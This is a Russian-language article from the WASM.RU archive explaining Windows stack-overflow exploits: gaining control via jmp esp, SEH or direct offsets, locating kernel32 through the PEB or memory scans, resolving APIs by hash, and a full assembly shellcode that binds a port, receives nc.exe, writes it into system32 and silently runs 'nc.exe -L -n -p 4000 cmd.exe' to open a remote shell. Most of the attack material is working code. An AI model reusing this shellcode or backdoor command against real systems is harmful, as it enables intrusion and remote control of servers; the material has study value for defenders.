Немного о эксплоитах… — Архив WASM.RU
"Хакерами мнят себя все или почти все программисты, - моментально объяснил Недосилов. - Признать вину хакеров - всё равно что расписаться в собственной некомпетентности."
Сергей Лукьяненко. "Фальшивые зеркала"Пролистывая книгу "Секреты Windows 2000 хакеров", я наткнулся на интересное высказывание, цитирую: "... Редко бывает, что переполнение буфера в Windows можно применять на практике ...". Мда-а-а, глядя на данные всего лишь SecurityLab.Ru невольно встает вопрос о причинах благосостояния авторов, имеющих столь интересный послужной список, приведенный вначале вышеупомянутой книги...
Ну да бог с ними, с этими авторами, можт это переводчики не ахти как перевели... Содержание моей статьи не ново, скажу сразу и, думаю, ничего нового вы для себя не откроете её прочитав, особенно если вы неплохо знакомы с ассемблером и принципами переполнения стека ;).
Давайте представим, что мы имеем в наличии следующее: удалённая ситема win2k/XP/NT4, уязвимое серверное приложение с возможностью переполнения стека через strcpy() иль sprintf() и наше желание этой системой поуправлять от имени этого приложения.
Получение управления
Для начала рассмотрим несколько способов получения упревления.
Итак, у нас имеется: 2Гб адресного пространства, добрая часть которого ничем не занята; наш код в стеке уязвимого процесса и инструкцию "ret", которая даст коду возможность исполняться. Какой же адрес скормить этой команде? Самым простым и часто используемым является подстановка адреса одной из инструкций jmp esp/call esp, расположенных в какой-либо системной библиотеке. Однако, такой способ привязывает наш эксплоит к конкретной версии операционной системы с её сервиспаками, т.к. адреса загрузки dll-ок разняться от билда к билду, что не есть хорошо, но ничего не поделаешь...
Иногда бывает возможным приспособить эксплоит к конкретной версии самого приложения, например, когда последнее использует свои dll-ки. Тогда этот эксплоит будет работать в любой системе, но под определённую версию программы.
Стоит отметить, что инструкции "ret" можно скормить и адрес команд jmp REG/call REG, если указанный регистр содержит подходящее значение.
Часто при входе в функцию последняя устанавливает SEH-обработчик и сей факт иногда(а точнее очень редко) можно использовать для получения управления без jmp/call, а в качестве адреса возврата указать заведомо кривое значение, передача управления по которому вызовет исключение, передав управление на наш код.
А теперь давайте представим, что нам недоступны jmp/call (интересно, часто ли такое бывает ;)? ), до SEH-обработчика тоже не дотянуться. Что ж тогда? Можно в качестве адреса возврата подставить непосредственное значение смещения нашего кода, но, наверное, это самое худшее решение из всех возможных, т.к. в этом случае появляется куча проблем. Во-первых, никто не гарантирует, что размещение стека не будет иным у уязвимого потока, да и области памяти, отводимые под стек, отличаются в разных версиях операционных систем. Да ещё мы получаем досадное ограничение на размер самого кода, так как адрес возврата наверняка будет содержать ноль (например 0012FCXXh) до которого и отработает функция strcpy() иль sprintf(). Однако, тут можно воспользоваться тем фактом, что если содержимое буфера с нашим кодом никем не менялось, то можно передать управление в нужное место этого буфера, то есть:
Код (Text):
int a = recv(...,&buffer[0],1024,...); SomeFunction(&buffer[0]) int SomeFunction(char* p) { char dst[100]; ... strcpy(dst,p); ... } // <<< --- здесь мы получим управление и, возможно, буфер, // указатель на который получила функция, не изменён или // изменён незначительно...Также можно поискать в памяти фрагмент кода похожий на:
Код (Text):
... add eax,??? call [eax+16] ...и если регистр на момент ret'a содержит необходимое значение, то смело прописываем сие смещение в качестве операнда инструкции "ret".
Итак, посмотрим, какие варианты имеем:
- jmp esp/call esp
- jmp REG/call REG
- 3. SEH-обработчик
- 4. непосредственное смещение
- 5. смещения подходящих фрагментов
Получение адресов API-функций
Управление получили, теперь необходимо узнать адреса API-функций, так как без последних толку от кода, мягко говоря, маловато ;)). Рассмотрим 3 метода получения адреса загрузки kernel32.dll, по РЕ-заголовку которой, определим точки входа в нужные нам функции.
1.From LSD Team
Идея до боли проста - по РЕВ'у, в котором содержится список всех загруженных для процесса модулей, дотягиваемся до адреса загрузки kernel32
Код (Text):
mov eax, fs:[30h] ; получим указатель на РЕВ mov eax, [eax+0Ch] ; получим указатель на PEB_LDR_DATA mov esi, [eax+1Ch] ; получим указатель на InitializationOrderModuleList lodsd mov eax, [eax+08h] ; eax -> VA kernel32.dllСтоит отметить, что здесь используются недокументированные поля структуры РЕВ, однако размер этого кода, согласитесь, радует.
2. From Billy Belcebu
Идея заключается в следующем: берём конкретный адрес и начинаем сканировать адресное пространство на наличие РЕ-заголовка kernel32.dll:
Код (Text):
__1: cmp byte ptr [ebp+K32_Limit],00h jz WeFailed cmp word ptr [esi],"ZM" jz CheckPE __2: sub esi,10000h ; к следующему региону dec byte ptr [ebp+K32_Limit] jmp __1Чтож, метод не плох, но прожорлив до памяти, так как сюда нужно добавить SEH-обработчик, чтобы смело сканировать память, и проверку CheckPE которая отплёвывает всё, кроме kernel32.
3. From Sars
Чтоб не пересказывать, просто процитирую:
Код (Text):
" next_handler dd ? ; указатель на следующую такую же запись seh_handler dd ? ; адрес обработчика исключенияПоследний указатель на следующую запись имеет маркировку 0FFFFFFFFh, а адрес последнего обработчика находится где-то в kernel. В общем, глядите в отладчик, мы нашли адрес последнего обработчика, а значит и адрес внутри kernel. Дальше выравним полученный адрес на 64 Кбайта, т.к. kernel грузится по адресу кратному этому значению. Теперь нам осталось найти Image Base пресловутого и небезызвестного кернела. Делается это путем поиска сигнатуры MZ и проверки на PE формат...
Код (Text):
_SearchMZ: cmp word ptr [eax],5A4Dh je _CheckMZ sub eax,10000h jmp _SearchMZ _CheckMZ: mov edx,[eax+3ch] cmp word ptr [eax+edx],4550h jne _ExitТак, теперь сравним слово по полученному адресу с 'MZ', если не совпало, то отнимем 64Кбайта, и повторим, если совпало, то проверим это заголовок PE или нет. Если да, то можно утверждать, что Image Base Kernel найден, если нет, то выйдем. Существует ли вероятность не найти Kernel? При использовании seh, навряд ли, по крайней мере, я этого не наблюдал при тестировании. В случае, когда адрес внутри Kernel берется со стека, заводится счетчик, чтоб не вылезти черт знает куда, но это описано в др. статьях. Для перестраховки можно завести свой обработчик исключений."
Всё, адрес загрузки kernel'а имеем, теперь определим точки входа API-функций, воспользовавшись методом от LSD Team с использованием простенькой и очень короткой функции хеширования (в отличие от crc32 у Billy Belcebu):
Код (Text):
; воспользуемся услугами VC++ 6.0, чтобы получить ; ассемблерный листинг си-кода и подредактируем ; его в нужных местах... ; предварительно вычисленные значения хешей DD 99C95590h ; GetProcAddress 1 DD 195D7906h ; ResumeThread 2 DD 1AF359D3h ; SetThreadContext 3 DD 0A6A6793Dh ; WriteProcessMemory 4 DD 0E9D81A3Bh ; VirtualAllocEx 5 DD 1AF2F9D3h ; GetThreadContext 6 DD 0B87742CBh ; CreateProcessA 7 DD 331ADDDCh ; LoadLibraryA 8 DD 0CFB0E506h ; CreateFileA 9 DD 2E750C90h ; WriteFile 10 DD 0D7629096h ; CloseHandle 11 DD 99046D19h ; WinExec 12 DD 0EC468F87h ; ExitProcess 13 DD 0EC6D8B57h ; OpenProcess 14 ; unsigned int *adr; ; unsigned char **sym; ; unsigned short *ord; ; adr = (unsigned int *)RVA(ied->AddressOfFunctions); ; sym = (unsigned char **)RVA(ied->AddressOfNames); ; ord = (unsigned short *)RVA(ied->AddressOfNameOrdinals); mov ecx, DWORD PTR [eax+28] mov edi, DWORD PTR [eax+36] add ecx, esi add edi, esi mov DWORD PTR _adr$[ebp], ecx mov ecx, DWORD PTR [eax+32] add ecx, esi push 14 ; кол-во функций ; for(;;) xor ebx, ebx mov DWORD PTR -12+[ebp], ecx $L42780: ; unsigned int h = 0; ; unsigned char *c = RVA(sym[idx]); mov edx, DWORD PTR -12+[ebp] mov ecx, esi xor eax, eax add ecx, DWORD PTR [edx] $L42862: ; while(*c) h = ((h<<5)|(h>>27)) + *c++; ; Как заверяют авторы, эта функция не дала ; ни одной коллизии на 50 000 именах функций, ; чего нам с лихвой хватит... cmp BYTE PTR [ecx], bl je SHORT $L42787 mov edx, eax shr edx, 27 ; 0000001bH shl eax, 5 or edx, eax movzx eax, BYTE PTR [ecx] add eax, edx inc ecx jmp SHORT $L42862 $L42787: ; for (int j=0; j < countfunc; j++) { push esi mov esi, DWORD PTR [ebp+4] mov DWORD PTR -4+[ebp], esi pop esi mov DWORD PTR _j$42788[ebp], ebx $L42789: ; if(mass[j] == h) { mov edx, DWORD PTR -4+[ebp] cmp DWORD PTR [edx], eax je SHORT $L42855 add DWORD PTR -4+[ebp], 4 inc DWORD PTR _j$42788[ebp] cmp DWORD PTR _j$42788[ebp], 14 jnz SHORT $L42789 jmp SHORT $L42791 $L42855: ; mass[j] = RVA(adr[ord[idx]]); push edx movzx eax, WORD PTR [edi] mov edx, DWORD PTR _adr$[ebp] mov eax, DWORD PTR [edx+eax*4] add eax, esi pop edx mov DWORD PTR [edx], eax dec DWORD PTR [esp] jz $L42856 $L42791: add DWORD PTR -12+[ebp], 4 add edi,2 jmp SHORT $L42780 $L42856:Как видите, простор для оптимизации есть...
Удалённое управление
После того, как получены адреса необходимых функций, нам нужно как-то организовать удалённое управление системой. Сие можно сделать разными способами, мы же рассмотрим самый простой - копирование утилиты, которая сделает всю работу за нас:
Код (Text):
Dllname DB 'ws2_32.dll',0 szncexe DB 'С:\winnt\system32\nc.exe',0 szcmdline DB 'nc.exe -L -n -p 4000 cmd.exe',0 ; HINSTANCE hBase = LoadLibrary("ws2_32.dll"); mov eax, DWORD PTR [ebp] ; ebp - > ImageBase нашего кода add eax, str01 ; + смещение строки push eax ; offset "ws2_32.dll" mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+15*4] ; call LoadLibrary mov edi, eax xor esi, esi ; mass[idx] = (int)GetProcAddress(hBase, name[i++]); $L42797: mov ebx, DWORD PTR [ebp] add ebx, om2 ; прибавим смещение таблицы, ; в которой содержаться указатели ; на имена функций mov eax, DWORD PTR [ebx+esi] add eax, DWORD PTR [ebp] push eax push edi mov eax, DWORD PTR [EBP+4] call DWORD PTR [eax+8*4] mov DWORD PTR [ebx+esi], eax ; Заменим соответствующий указатель на имя ; адресом этой функции add esi, 4 cmp esi, 32 ; для всех 8-ми функций определили адреса? jl SHORT $L42797 ; WSAStartup(0x0202, &wd); lea eax, DWORD PTR _wd$[ebp] push eax push 514 ; 00000202H mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+5*4] ; call WSAStartup ; SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); push 0 push 1 push 2 mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+6*4] ; call socket ; sockaddr_in local_addr; ; #define port 7777 ; #define SizeOfProgram 58*1024 ; local_addr.sin_family = AF_INET; ; local_addr.sin_port = htons(port); push 7777 ; 00001e61H mov DWORD PTR _sock$[ebp], eax mov WORD PTR _local_addr$[ebp], 2 mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+7*4] ; call htons mov WORD PTR _local_addr$[ebp+2], ax ; local_addr.sin_addr.s_addr = 0; ; bind(sock, (sockaddr *) &local_addr, sizeof(local_addr)); lea eax, DWORD PTR _local_addr$[ebp] push 16 ; 00000010H push eax push DWORD PTR _sock$[ebp] mov DWORD PTR _local_addr$[ebp+4], 0 mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+0*4] ; bind ; listen(sock, 0x100); push 1 ; 01H push DWORD PTR _sock$[ebp] mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+1*4] ; listen ; sockaddr_in client_addr; ; int client_addr_size = sizeof(client_addr); ; accept(sock, (sockaddr *) &client_addr, &client_addr_size); lea eax, DWORD PTR _client_addr_size$[ebp] mov DWORD PTR _client_addr_size$[ebp], 16 ; 00000010H push eax lea eax, DWORD PTR _client_addr$[ebp] push eax push DWORD PTR _sock$[ebp] mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+2*4] ; accept ; Выделим память под буфер, в который будем помещать кусочки nc.exe... ; char *tempbuff=(char*)VirtualAllocEx(0,0,SizeOfProgram,MEM_COMMIT, PAGE_READWRITE); xor ebx,ebx push 4 push esi mov esi, 59392 ; 0000e800H push esi push ebx push ebx ; mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+12*4] ; call VirtualAllocEx mov DWORD PTR _tempbuff$[ebp], eax ; for(int j = 0; j < SizeOfProgram; j+=1024) mov DWORD PTR _j$[ebp], ebx mov edi, 1024 ; 00000400H $L42819: ; recv(sock, &tempbuff[j], 1024, 0); mov eax, DWORD PTR _j$[ebp] mov ecx, DWORD PTR _tempbuff$[ebp] push ebx add eax, ecx push edi push eax push DWORD PTR _sock$[ebp] mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+3*4] ; call recv add DWORD PTR _j$[ebp], edi cmp DWORD PTR _j$[ebp], esi jl SHORT $L42819 ; CreateFile("С:\winnt\system32\nc.exe", FILE_GENERIC_WRITE, FILE_SHARE_READ, ; NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); push ebx push 128 ; 00000080H push 1 push ebx push 1 push 1179926 ; 00120116H push 0 mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+16*4] ;CreateFileA ; WriteFile(hFile, tempbuff, SizeOfProgram, NULL, NULL); push ebx push ebx push esi mov edi, eax push DWORD PTR _tempbuff$[ebp] push edi mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+17*4] ; WriteFile ; CloseHandle(hFile); push edi mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+18*4] ; CloseHandle ; WinExec("nc.exe -L -n -p 4000 cmd.exe", SW_HIDE); push ebx push 0 mov eax, DWORD PTR [ebp+4] call DWORD PTR [eax+19*4] ; WinExec ; ExitProcess(0);После этого нужно запустить программу, которая на 4000 порт перешлёт утилиту nc.exe пакетами по 1024 байт...
После выполнения функции WinExec("nc.exe -L -n -p 4000 cmd.exe", SW_HIDE) можно коннектиться к удалённой системе на 4000 порт и наслаждаться общением с её командным интерпретатором ;)).
Мной использовалось и вам советуется почитать:
© nester7
- Отличный материал от LSD Team найдёте на wasm.ru
- Не менее хороший от Billy Belcebu
- Статья Sars'a
- Утилита netcat.exe(nc.exe)
Немного о эксплоитах…
Дата публикации 21 дек 2003